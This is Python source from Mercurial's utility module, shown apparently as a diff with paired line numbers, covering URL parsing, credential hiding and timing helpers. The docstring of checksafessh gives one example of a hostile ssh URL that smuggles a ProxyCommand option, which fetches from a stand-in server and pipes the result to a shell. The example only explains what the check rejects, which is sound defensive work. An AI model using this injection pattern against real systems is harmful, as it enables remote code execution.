2996 <url scheme: 'bundle', path: 'foo'>
2964 <url scheme: 'bundle', path: 'foo'>
2997 >>> url(b'bundle://../foo')
2965 >>> url(b'bundle://../foo')
2998 <url scheme: 'bundle', path: '../foo'>
2966 <url scheme: 'bundle', path: '../foo'>
2999 >>> url(br'c:\foo\bar')
2967 >>> url(br'c:\foo\bar')
3000 <url path: 'c:\\foo\\bar'>
2968 <url path: 'c:\\foo\\bar'>
3001 >>> url(br'\\blah\blah\blah')
2969 >>> url(br'\\blah\blah\blah')
3002 <url path: '\\\\blah\\blah\\blah'>
2970 <url path: '\\\\blah\\blah\\blah'>
3003 >>> url(br'\\blah\blah\blah#baz')
2971 >>> url(br'\\blah\blah\blah#baz')
3004 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2972 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
3005 >>> url(br'file:///C:\users\me')
2973 >>> url(br'file:///C:\users\me')
3006 <url scheme: 'file', path: 'C:\\users\\me'>
2974 <url scheme: 'file', path: 'C:\\users\\me'>
3007
2975
3008 Authentication credentials:
2976 Authentication credentials:
3009
2977
3010 >>> url(b'ssh://joe:xyz@x/repo')
2978 >>> url(b'ssh://joe:xyz@x/repo')
3011 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2979 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3012 >>> url(b'ssh://joe@x/repo')
2980 >>> url(b'ssh://joe@x/repo')
3013 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2981 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3014
2982
3015 Query strings and fragments:
2983 Query strings and fragments:
3016
2984
3017 >>> url(b'http://host/a?b#c')
2985 >>> url(b'http://host/a?b#c')
3018 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2986 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3019 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2987 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3020 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2988 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3021
2989
3022 Empty path:
2990 Empty path:
3023
2991
3024 >>> url(b'')
2992 >>> url(b'')
3025 <url path: ''>
2993 <url path: ''>
3026 >>> url(b'#a')
2994 >>> url(b'#a')
3027 <url path: '', fragment: 'a'>
2995 <url path: '', fragment: 'a'>
3028 >>> url(b'http://host/')
2996 >>> url(b'http://host/')
3029 <url scheme: 'http', host: 'host', path: ''>
2997 <url scheme: 'http', host: 'host', path: ''>
3030 >>> url(b'http://host/#a')
2998 >>> url(b'http://host/#a')
3031 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2999 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3032
3000
3033 Only scheme:
3001 Only scheme:
3034
3002
3035 >>> url(b'http:')
3003 >>> url(b'http:')
3036 <url scheme: 'http'>
3004 <url scheme: 'http'>
3037 """
3005 """
3038
3006
3039 _safechars = b"!~*'()+"
3007 _safechars = b"!~*'()+"
3040 _safepchars = b"/!~*'()+:\\"
3008 _safepchars = b"/!~*'()+:\\"
3041 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3009 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3042
3010
3043 def __init__(self, path, parsequery=True, parsefragment=True):
3011 def __init__(self, path, parsequery=True, parsefragment=True):
3044 # We slowly chomp away at path until we have only the path left
3012 # We slowly chomp away at path until we have only the path left
3045 self.scheme = self.user = self.passwd = self.host = None
3013 self.scheme = self.user = self.passwd = self.host = None
3046 self.port = self.path = self.query = self.fragment = None
3014 self.port = self.path = self.query = self.fragment = None
3047 self._localpath = True
3015 self._localpath = True
3048 self._hostport = b''
3016 self._hostport = b''
3049 self._origpath = path
3017 self._origpath = path
3050
3018
3051 if parsefragment and b'#' in path:
3019 if parsefragment and b'#' in path:
3052 path, self.fragment = path.split(b'#', 1)
3020 path, self.fragment = path.split(b'#', 1)
3053
3021
3054 # special case for Windows drive letters and UNC paths
3022 # special case for Windows drive letters and UNC paths
3055 if hasdriveletter(path) or path.startswith(b'\\\\'):
3023 if hasdriveletter(path) or path.startswith(b'\\\\'):
3056 self.path = path
3024 self.path = path
3057 return
3025 return
3058
3026
3059 # For compatibility reasons, we can't handle bundle paths as
3027 # For compatibility reasons, we can't handle bundle paths as
3060 # normal URLS
3028 # normal URLS
3061 if path.startswith(b'bundle:'):
3029 if path.startswith(b'bundle:'):
3062 self.scheme = b'bundle'
3030 self.scheme = b'bundle'
3063 path = path[7:]
3031 path = path[7:]
3064 if path.startswith(b'//'):
3032 if path.startswith(b'//'):
3065 path = path[2:]
3033 path = path[2:]
3066 self.path = path
3034 self.path = path
3067 return
3035 return
3068
3036
3069 if self._matchscheme(path):
3037 if self._matchscheme(path):
3070 parts = path.split(b':', 1)
3038 parts = path.split(b':', 1)
3071 if parts[0]:
3039 if parts[0]:
3072 self.scheme, path = parts
3040 self.scheme, path = parts
3073 self._localpath = False
3041 self._localpath = False
3074
3042
3075 if not path:
3043 if not path:
3076 path = None
3044 path = None
3077 if self._localpath:
3045 if self._localpath:
3078 self.path = b''
3046 self.path = b''
3079 return
3047 return
3080 else:
3048 else:
3081 if self._localpath:
3049 if self._localpath:
3082 self.path = path
3050 self.path = path
3083 return
3051 return
3084
3052
3085 if parsequery and b'?' in path:
3053 if parsequery and b'?' in path:
3086 path, self.query = path.split(b'?', 1)
3054 path, self.query = path.split(b'?', 1)
3087 if not path:
3055 if not path:
3088 path = None
3056 path = None
3089 if not self.query:
3057 if not self.query:
3090 self.query = None
3058 self.query = None
3091
3059
3092 # // is required to specify a host/authority
3060 # // is required to specify a host/authority
3093 if path and path.startswith(b'//'):
3061 if path and path.startswith(b'//'):
3094 parts = path[2:].split(b'/', 1)
3062 parts = path[2:].split(b'/', 1)
3095 if len(parts) > 1:
3063 if len(parts) > 1:
3096 self.host, path = parts
3064 self.host, path = parts
3097 else:
3065 else:
3098 self.host = parts[0]
3066 self.host = parts[0]
3099 path = None
3067 path = None
3100 if not self.host:
3068 if not self.host:
3101 self.host = None
3069 self.host = None
3102 # path of file:///d is /d
3070 # path of file:///d is /d
3103 # path of file:///d:/ is d:/, not /d:/
3071 # path of file:///d:/ is d:/, not /d:/
3104 if path and not hasdriveletter(path):
3072 if path and not hasdriveletter(path):
3105 path = b'/' + path
3073 path = b'/' + path
3106
3074
3107 if self.host and b'@' in self.host:
3075 if self.host and b'@' in self.host:
3108 self.user, self.host = self.host.rsplit(b'@', 1)
3076 self.user, self.host = self.host.rsplit(b'@', 1)
3109 if b':' in self.user:
3077 if b':' in self.user:
3110 self.user, self.passwd = self.user.split(b':', 1)
3078 self.user, self.passwd = self.user.split(b':', 1)
3111 if not self.host:
3079 if not self.host:
3112 self.host = None
3080 self.host = None
3113
3081
3114 # Don't split on colons in IPv6 addresses without ports
3082 # Don't split on colons in IPv6 addresses without ports
3115 if (
3083 if (
3116 self.host
3084 self.host
3117 and b':' in self.host
3085 and b':' in self.host
3118 and not (
3086 and not (
3119 self.host.startswith(b'[') and self.host.endswith(b']')
3087 self.host.startswith(b'[') and self.host.endswith(b']')
3120 )
3088 )
3121 ):
3089 ):
3122 self._hostport = self.host
3090 self._hostport = self.host
3123 self.host, self.port = self.host.rsplit(b':', 1)
3091 self.host, self.port = self.host.rsplit(b':', 1)
3124 if not self.host:
3092 if not self.host:
3125 self.host = None
3093 self.host = None
3126
3094
3127 if (
3095 if (
3128 self.host
3096 self.host
3129 and self.scheme == b'file'
3097 and self.scheme == b'file'
3130 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3098 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3131 ):
3099 ):
3132 raise error.Abort(
3100 raise error.Abort(
3133 _(b'file:// URLs can only refer to localhost')
3101 _(b'file:// URLs can only refer to localhost')
3134 )
3102 )
3135
3103
3136 self.path = path
3104 self.path = path
3137
3105
3138 # leave the query string escaped
3106 # leave the query string escaped
3139 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3107 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3140 v = getattr(self, a)
3108 v = getattr(self, a)
3141 if v is not None:
3109 if v is not None:
3142 setattr(self, a, urlreq.unquote(v))
3110 setattr(self, a, urlreq.unquote(v))
3143
3111
3144 @encoding.strmethod
3112 @encoding.strmethod
3145 def __repr__(self):
3113 def __repr__(self):
3146 attrs = []
3114 attrs = []
3147 for a in (
3115 for a in (
3148 b'scheme',
3116 b'scheme',
3149 b'user',
3117 b'user',
3150 b'passwd',
3118 b'passwd',
3151 b'host',
3119 b'host',
3152 b'port',
3120 b'port',
3153 b'path',
3121 b'path',
3154 b'query',
3122 b'query',
3155 b'fragment',
3123 b'fragment',
3156 ):
3124 ):
3157 v = getattr(self, a)
3125 v = getattr(self, a)
3158 if v is not None:
3126 if v is not None:
3159 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3127 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3160 return b'<url %s>' % b', '.join(attrs)
3128 return b'<url %s>' % b', '.join(attrs)
3161
3129
3162 def __bytes__(self):
3130 def __bytes__(self):
3163 r"""Join the URL's components back into a URL string.
3131 r"""Join the URL's components back into a URL string.
3164
3132
3165 Examples:
3133 Examples:
3166
3134
3167 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3135 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3168 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3136 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3169 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3137 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3170 'http://user:pw@host:80/?foo=bar&baz=42'
3138 'http://user:pw@host:80/?foo=bar&baz=42'
3171 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3139 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3172 'http://user:pw@host:80/?foo=bar%3dbaz'
3140 'http://user:pw@host:80/?foo=bar%3dbaz'
3173 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3141 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3174 'ssh://user:pw@[::1]:2200//home/joe#'
3142 'ssh://user:pw@[::1]:2200//home/joe#'
3175 >>> bytes(url(b'http://localhost:80//'))
3143 >>> bytes(url(b'http://localhost:80//'))
3176 'http://localhost:80//'
3144 'http://localhost:80//'
3177 >>> bytes(url(b'http://localhost:80/'))
3145 >>> bytes(url(b'http://localhost:80/'))
3178 'http://localhost:80/'
3146 'http://localhost:80/'
3179 >>> bytes(url(b'http://localhost:80'))
3147 >>> bytes(url(b'http://localhost:80'))
3180 'http://localhost:80/'
3148 'http://localhost:80/'
3181 >>> bytes(url(b'bundle:foo'))
3149 >>> bytes(url(b'bundle:foo'))
3182 'bundle:foo'
3150 'bundle:foo'
3183 >>> bytes(url(b'bundle://../foo'))
3151 >>> bytes(url(b'bundle://../foo'))
3184 'bundle:../foo'
3152 'bundle:../foo'
3185 >>> bytes(url(b'path'))
3153 >>> bytes(url(b'path'))
3186 'path'
3154 'path'
3187 >>> bytes(url(b'file:///tmp/foo/bar'))
3155 >>> bytes(url(b'file:///tmp/foo/bar'))
3188 'file:///tmp/foo/bar'
3156 'file:///tmp/foo/bar'
3189 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3157 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3190 'file:///c:/tmp/foo/bar'
3158 'file:///c:/tmp/foo/bar'
3191 >>> print(url(br'bundle:foo\bar'))
3159 >>> print(url(br'bundle:foo\bar'))
3192 bundle:foo\bar
3160 bundle:foo\bar
3193 >>> print(url(br'file:///D:\data\hg'))
3161 >>> print(url(br'file:///D:\data\hg'))
3194 file:///D:\data\hg
3162 file:///D:\data\hg
3195 """
3163 """
3196 if self._localpath:
3164 if self._localpath:
3197 s = self.path
3165 s = self.path
3198 if self.scheme == b'bundle':
3166 if self.scheme == b'bundle':
3199 s = b'bundle:' + s
3167 s = b'bundle:' + s
3200 if self.fragment:
3168 if self.fragment:
3201 s += b'#' + self.fragment
3169 s += b'#' + self.fragment
3202 return s
3170 return s
3203
3171
3204 s = self.scheme + b':'
3172 s = self.scheme + b':'
3205 if self.user or self.passwd or self.host:
3173 if self.user or self.passwd or self.host:
3206 s += b'//'
3174 s += b'//'
3207 elif self.scheme and (
3175 elif self.scheme and (
3208 not self.path
3176 not self.path
3209 or self.path.startswith(b'/')
3177 or self.path.startswith(b'/')
3210 or hasdriveletter(self.path)
3178 or hasdriveletter(self.path)
3211 ):
3179 ):
3212 s += b'//'
3180 s += b'//'
3213 if hasdriveletter(self.path):
3181 if hasdriveletter(self.path):
3214 s += b'/'
3182 s += b'/'
3215 if self.user:
3183 if self.user:
3216 s += urlreq.quote(self.user, safe=self._safechars)
3184 s += urlreq.quote(self.user, safe=self._safechars)
3217 if self.passwd:
3185 if self.passwd:
3218 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3186 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3219 if self.user or self.passwd:
3187 if self.user or self.passwd:
3220 s += b'@'
3188 s += b'@'
3221 if self.host:
3189 if self.host:
3222 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3190 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3223 s += urlreq.quote(self.host)
3191 s += urlreq.quote(self.host)
3224 else:
3192 else:
3225 s += self.host
3193 s += self.host
3226 if self.port:
3194 if self.port:
3227 s += b':' + urlreq.quote(self.port)
3195 s += b':' + urlreq.quote(self.port)
3228 if self.host:
3196 if self.host:
3229 s += b'/'
3197 s += b'/'
3230 if self.path:
3198 if self.path:
3231 # TODO: similar to the query string, we should not unescape the
3199 # TODO: similar to the query string, we should not unescape the
3232 # path when we store it, the path might contain '%2f' = '/',
3200 # path when we store it, the path might contain '%2f' = '/',
3233 # which we should *not* escape.
3201 # which we should *not* escape.
3234 s += urlreq.quote(self.path, safe=self._safepchars)
3202 s += urlreq.quote(self.path, safe=self._safepchars)
3235 if self.query:
3203 if self.query:
3236 # we store the query in escaped form.
3204 # we store the query in escaped form.
3237 s += b'?' + self.query
3205 s += b'?' + self.query
3238 if self.fragment is not None:
3206 if self.fragment is not None:
3239 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3207 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3240 return s
3208 return s
3241
3209
3242 __str__ = encoding.strmethod(__bytes__)
3210 __str__ = encoding.strmethod(__bytes__)
3243
3211
3244 def authinfo(self):
3212 def authinfo(self):
3245 user, passwd = self.user, self.passwd
3213 user, passwd = self.user, self.passwd
3246 try:
3214 try:
3247 self.user, self.passwd = None, None
3215 self.user, self.passwd = None, None
3248 s = bytes(self)
3216 s = bytes(self)
3249 finally:
3217 finally:
3250 self.user, self.passwd = user, passwd
3218 self.user, self.passwd = user, passwd
3251 if not self.user:
3219 if not self.user:
3252 return (s, None)
3220 return (s, None)
3253 # authinfo[1] is passed to urllib2 password manager, and its
3221 # authinfo[1] is passed to urllib2 password manager, and its
3254 # URIs must not contain credentials. The host is passed in the
3222 # URIs must not contain credentials. The host is passed in the
3255 # URIs list because Python < 2.4.3 uses only that to search for
3223 # URIs list because Python < 2.4.3 uses only that to search for
3256 # a password.
3224 # a password.
3257 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3225 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3258
3226
3259 def isabs(self):
3227 def isabs(self):
3260 if self.scheme and self.scheme != b'file':
3228 if self.scheme and self.scheme != b'file':
3261 return True # remote URL
3229 return True # remote URL
3262 if hasdriveletter(self.path):
3230 if hasdriveletter(self.path):
3263 return True # absolute for our purposes - can't be joined()
3231 return True # absolute for our purposes - can't be joined()
3264 if self.path.startswith(br'\\'):
3232 if self.path.startswith(br'\\'):
3265 return True # Windows UNC path
3233 return True # Windows UNC path
3266 if self.path.startswith(b'/'):
3234 if self.path.startswith(b'/'):
3267 return True # POSIX-style
3235 return True # POSIX-style
3268 return False
3236 return False
3269
3237
3270 def localpath(self):
3238 def localpath(self):
3271 if self.scheme == b'file' or self.scheme == b'bundle':
3239 if self.scheme == b'file' or self.scheme == b'bundle':
3272 path = self.path or b'/'
3240 path = self.path or b'/'
3273 # For Windows, we need to promote hosts containing drive
3241 # For Windows, we need to promote hosts containing drive
3274 # letters to paths with drive letters.
3242 # letters to paths with drive letters.
3275 if hasdriveletter(self._hostport):
3243 if hasdriveletter(self._hostport):
3276 path = self._hostport + b'/' + self.path
3244 path = self._hostport + b'/' + self.path
3277 elif (
3245 elif (
3278 self.host is not None and self.path and not hasdriveletter(path)
3246 self.host is not None and self.path and not hasdriveletter(path)
3279 ):
3247 ):
3280 path = b'/' + path
3248 path = b'/' + path
3281 return path
3249 return path
3282 return self._origpath
3250 return self._origpath
3283
3251
3284 def islocal(self):
3252 def islocal(self):
3285 '''whether localpath will return something that posixfile can open'''
3253 '''whether localpath will return something that posixfile can open'''
3286 return (
3254 return (
3287 not self.scheme
3255 not self.scheme
3288 or self.scheme == b'file'
3256 or self.scheme == b'file'
3289 or self.scheme == b'bundle'
3257 or self.scheme == b'bundle'
3290 )
3258 )
3291
3259
3292
3260
3293 def hasscheme(path):
3261 def hasscheme(path):
3294 return bool(url(path).scheme)
3262 return bool(url(path).scheme)
3295
3263
3296
3264
3297 def hasdriveletter(path):
3265 def hasdriveletter(path):
3298 return path and path[1:2] == b':' and path[0:1].isalpha()
3266 return path and path[1:2] == b':' and path[0:1].isalpha()
3299
3267
3300
3268
3301 def urllocalpath(path):
3269 def urllocalpath(path):
3302 return url(path, parsequery=False, parsefragment=False).localpath()
3270 return url(path, parsequery=False, parsefragment=False).localpath()
3303
3271
3304
3272
3305 def checksafessh(path):
3273 def checksafessh(path):
3306 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3274 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3307
3275
3308 This is a sanity check for ssh urls. ssh will parse the first item as
3276 This is a sanity check for ssh urls. ssh will parse the first item as
3309 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3277 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3310 Let's prevent these potentially exploited urls entirely and warn the
3278 Let's prevent these potentially exploited urls entirely and warn the
3311 user.
3279 user.
3312
3280
3313 Raises an error.Abort when the url is unsafe.
3281 Raises an error.Abort when the url is unsafe.
3314 """
3282 """
3315 path = urlreq.unquote(path)
3283 path = urlreq.unquote(path)
3316 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3284 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3317 raise error.Abort(
3285 raise error.Abort(
3318 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3286 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3319 )
3287 )
3320
3288
3321
3289
3322 def hidepassword(u):
3290 def hidepassword(u):
3323 '''hide user credential in a url string'''
3291 '''hide user credential in a url string'''
3324 u = url(u)
3292 u = url(u)
3325 if u.passwd:
3293 if u.passwd:
3326 u.passwd = b'***'
3294 u.passwd = b'***'
3327 return bytes(u)
3295 return bytes(u)
3328
3296
3329
3297
3330 def removeauth(u):
3298 def removeauth(u):
3331 '''remove all authentication information from a url string'''
3299 '''remove all authentication information from a url string'''
3332 u = url(u)
3300 u = url(u)
3333 u.user = u.passwd = None
3301 u.user = u.passwd = None
3334 return bytes(u)
3302 return bytes(u)
3335
3303
3336
3304
3337 timecount = unitcountfn(
3305 timecount = unitcountfn(
3338 (1, 1e3, _(b'%.0f s')),
3306 (1, 1e3, _(b'%.0f s')),
3339 (100, 1, _(b'%.1f s')),
3307 (100, 1, _(b'%.1f s')),
3340 (10, 1, _(b'%.2f s')),
3308 (10, 1, _(b'%.2f s')),
3341 (1, 1, _(b'%.3f s')),
3309 (1, 1, _(b'%.3f s')),
3342 (100, 0.001, _(b'%.1f ms')),
3310 (100, 0.001, _(b'%.1f ms')),
3343 (10, 0.001, _(b'%.2f ms')),
3311 (10, 0.001, _(b'%.2f ms')),
3344 (1, 0.001, _(b'%.3f ms')),
3312 (1, 0.001, _(b'%.3f ms')),
3345 (100, 0.000001, _(b'%.1f us')),
3313 (100, 0.000001, _(b'%.1f us')),
3346 (10, 0.000001, _(b'%.2f us')),
3314 (10, 0.000001, _(b'%.2f us')),
3347 (1, 0.000001, _(b'%.3f us')),
3315 (1, 0.000001, _(b'%.3f us')),
3348 (100, 0.000000001, _(b'%.1f ns')),
3316 (100, 0.000000001, _(b'%.1f ns')),
3349 (10, 0.000000001, _(b'%.2f ns')),
3317 (10, 0.000000001, _(b'%.2f ns')),
3350 (1, 0.000000001, _(b'%.3f ns')),
3318 (1, 0.000000001, _(b'%.3f ns')),
3351 )
3319 )
3352
3320
3353
3321
3354 @attr.s
3322 @attr.s
3355 class timedcmstats(object):
3323 class timedcmstats(object):
3356 """Stats information produced by the timedcm context manager on entering."""
3324 """Stats information produced by the timedcm context manager on entering."""
3357
3325
3358 # the starting value of the timer as a float (meaning and resulution is
3326 # the starting value of the timer as a float (meaning and resulution is
3359 # platform dependent, see util.timer)
3327 # platform dependent, see util.timer)
3360 start = attr.ib(default=attr.Factory(lambda: timer()))
3328 start = attr.ib(default=attr.Factory(lambda: timer()))
3361 # the number of seconds as a floating point value; starts at 0, updated when
3329 # the number of seconds as a floating point value; starts at 0, updated when
3362 # the context is exited.
3330 # the context is exited.
3363 elapsed = attr.ib(default=0)
3331 elapsed = attr.ib(default=0)
3364 # the number of nested timedcm context managers.
3332 # the number of nested timedcm context managers.
3365 level = attr.ib(default=1)
3333 level = attr.ib(default=1)
3366
3334
3367 def __bytes__(self):
3335 def __bytes__(self):
3368 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3336 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3369
3337
3370 __str__ = encoding.strmethod(__bytes__)
3338 __str__ = encoding.strmethod(__bytes__)
3371
3339
3372
3340
3373 @contextlib.contextmanager
3341 @contextlib.contextmanager
3374 def timedcm(whencefmt, *whenceargs):
3342 def timedcm(whencefmt, *whenceargs):
3375 """A context manager that produces timing information for a given context.
3343 """A context manager that produces timing information for a given context.
3376
3344
3377 On entering a timedcmstats instance is produced.
3345 On entering a timedcmstats instance is produced.
3378
3346
3379 This context manager is reentrant.
3347 This context manager is reentrant.
3380
3348
3381 """
3349 """
3382 # track nested context managers
3350 # track nested context managers
3383 timedcm._nested += 1
3351 timedcm._nested += 1
3384 timing_stats = timedcmstats(level=timedcm._nested)
3352 timing_stats = timedcmstats(level=timedcm._nested)
3385 try:
3353 try:
3386 with tracing.log(whencefmt, *whenceargs):
3354 with tracing.log(whencefmt, *whenceargs):
3387 yield timing_stats
3355 yield timing_stats
3388 finally:
3356 finally:
3389 timing_stats.elapsed = timer() - timing_stats.start
3357 timing_stats.elapsed = timer() - timing_stats.start
3390 timedcm._nested -= 1
3358 timedcm._nested -= 1
3391
3359
3392
3360
3393 timedcm._nested = 0
3361 timedcm._nested = 0
3394
3362
3395
3363
3396 def timed(func):
3364 def timed(func):
3397 '''Report the execution time of a function call to stderr.
3365 '''Report the execution time of a function call to stderr.
3398
3366
3399 During development, use as a decorator when you need to measure
3367 During development, use as a decorator when you need to measure
3400 the cost of a function, e.g. as follows:
3368 the cost of a function, e.g. as follows:
3401
3369
3402 @util.timed
3370 @util.timed
3403 def foo(a, b, c):
3371 def foo(a, b, c):
3404 pass
3372 pass
3405 '''
3373 '''
3406
3374
3407 def wrapper(*args, **kwargs):
3375 def wrapper(*args, **kwargs):
3408 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3376 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3409 result = func(*args, **kwargs)
3377 result = func(*args, **kwargs)
3410 stderr = procutil.stderr
3378 stderr = procutil.stderr
3411 stderr.write(
3379 stderr.write(
3412 b'%s%s: %s\n'
3380 b'%s%s: %s\n'
3413 % (
3381 % (
3414 b' ' * time_stats.level * 2,
3382 b' ' * time_stats.level * 2,
3415 pycompat.bytestr(func.__name__),
3383 pycompat.bytestr(func.__name__),
3416 time_stats,
3384 time_stats,
3417 )
3385 )
3418 )
3386 )
3419 return result
3387 return result
3420
3388
3421 return wrapper
3389 return wrapper
3422
3390
3423
3391
3424 _sizeunits = (
3392 _sizeunits = (
3425 (b'm', 2 ** 20),
3393 (b'm', 2 ** 20),
3426 (b'k', 2 ** 10),
3394 (b'k', 2 ** 10),
3427 (b'g', 2 ** 30),
3395 (b'g', 2 ** 30),
3428 (b'kb', 2 ** 10),
3396 (b'kb', 2 ** 10),
3429 (b'mb', 2 ** 20),
3397 (b'mb', 2 ** 20),
3430 (b'gb', 2 ** 30),
3398 (b'gb', 2 ** 30),
3431 (b'b', 1),
3399 (b'b', 1),
3432 )
3400 )
3433
3401
3434
3402
3435 def sizetoint(s):
3403 def sizetoint(s):
3436 '''Convert a space specifier to a byte count.
3404 '''Convert a space specifier to a byte count.
3437
3405
3438 >>> sizetoint(b'30')
3406 >>> sizetoint(b'30')
3439 30
3407 30
3440 >>> sizetoint(b'2.2kb')
3408 >>> sizetoint(b'2.2kb')
3441 2252
3409 2252
3442 >>> sizetoint(b'6M')
3410 >>> sizetoint(b'6M')
3443 6291456
3411 6291456
3444 '''
3412 '''
3445 t = s.strip().lower()
3413 t = s.strip().lower()
3446 try:
3414 try:
3447 for k, u in _sizeunits:
3415 for k, u in _sizeunits:
3448 if t.endswith(k):
3416 if t.endswith(k):
3449 return int(float(t[: -len(k)]) * u)
3417 return int(float(t[: -len(k)]) * u)
3450 return int(t)
3418 return int(t)
3451 except ValueError:
3419 except ValueError:
3452 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3420 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3453
3421
3454
3422
3455 class hooks(object):
3423 class hooks(object):
3456 '''A collection of hook functions that can be used to extend a
3424 '''A collection of hook functions that can be used to extend a
3457 function's behavior. Hooks are called in lexicographic order,
3425 function's behavior. Hooks are called in lexicographic order,
3458 based on the names of their sources.'''
3426 based on the names of their sources.'''
3459
3427
3460 def __init__(self):
3428 def __init__(self):
3461 self._hooks = []
3429 self._hooks = []
3462
3430
3463 def add(self, source, hook):
3431 def add(self, source, hook):
3464 self._hooks.append((source, hook))
3432 self._hooks.append((source, hook))
3465
3433
3466 def __call__(self, *args):
3434 def __call__(self, *args):
3467 self._hooks.sort(key=lambda x: x[0])
3435 self._hooks.sort(key=lambda x: x[0])
3468 results = []
3436 results = []
3469 for source, hook in self._hooks:
3437 for source, hook in self._hooks:
3470 results.append(hook(*args))
3438 results.append(hook(*args))
3471 return results
3439 return results
3472
3440
3473
3441
3474 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3442 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3475 '''Yields lines for a nicely formatted stacktrace.
3443 '''Yields lines for a nicely formatted stacktrace.
3476 Skips the 'skip' last entries, then return the last 'depth' entries.
3444 Skips the 'skip' last entries, then return the last 'depth' entries.
3477 Each file+linenumber is formatted according to fileline.
3445 Each file+linenumber is formatted according to fileline.
3478 Each line is formatted according to line.
3446 Each line is formatted according to line.
3479 If line is None, it yields:
3447 If line is None, it yields:
3480 length of longest filepath+line number,
3448 length of longest filepath+line number,
3481 filepath+linenumber,
3449 filepath+linenumber,
3482 function
3450 function
3483
3451
3484 Not be used in production code but very convenient while developing.
3452 Not be used in production code but very convenient while developing.
3485 '''
3453 '''
3486 entries = [
3454 entries = [
3487 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3455 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3488 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3456 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3489 ][-depth:]
3457 ][-depth:]
3490 if entries:
3458 if entries:
3491 fnmax = max(len(entry[0]) for entry in entries)
3459 fnmax = max(len(entry[0]) for entry in entries)
3492 for fnln, func in entries:
3460 for fnln, func in entries:
3493 if line is None:
3461 if line is None:
3494 yield (fnmax, fnln, func)
3462 yield (fnmax, fnln, func)
3495 else:
3463 else:
3496 yield line % (fnmax, fnln, func)
3464 yield line % (fnmax, fnln, func)
3497
3465
3498
3466
3499 def debugstacktrace(
3467 def debugstacktrace(
3500 msg=b'stacktrace',
3468 msg=b'stacktrace',
3501 skip=0,
3469 skip=0,
3502 f=procutil.stderr,
3470 f=procutil.stderr,
3503 otherf=procutil.stdout,
3471 otherf=procutil.stdout,
3504 depth=0,
3472 depth=0,
3505 prefix=b'',
3473 prefix=b'',
3506 ):
3474 ):
3507 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3475 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3508 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3476 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3509 By default it will flush stdout first.
3477 By default it will flush stdout first.
3510 It can be used everywhere and intentionally does not require an ui object.
3478 It can be used everywhere and intentionally does not require an ui object.
3511 Not be used in production code but very convenient while developing.
3479 Not be used in production code but very convenient while developing.
3512 '''
3480 '''
3513 if otherf:
3481 if otherf:
3514 otherf.flush()
3482 otherf.flush()
3515 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
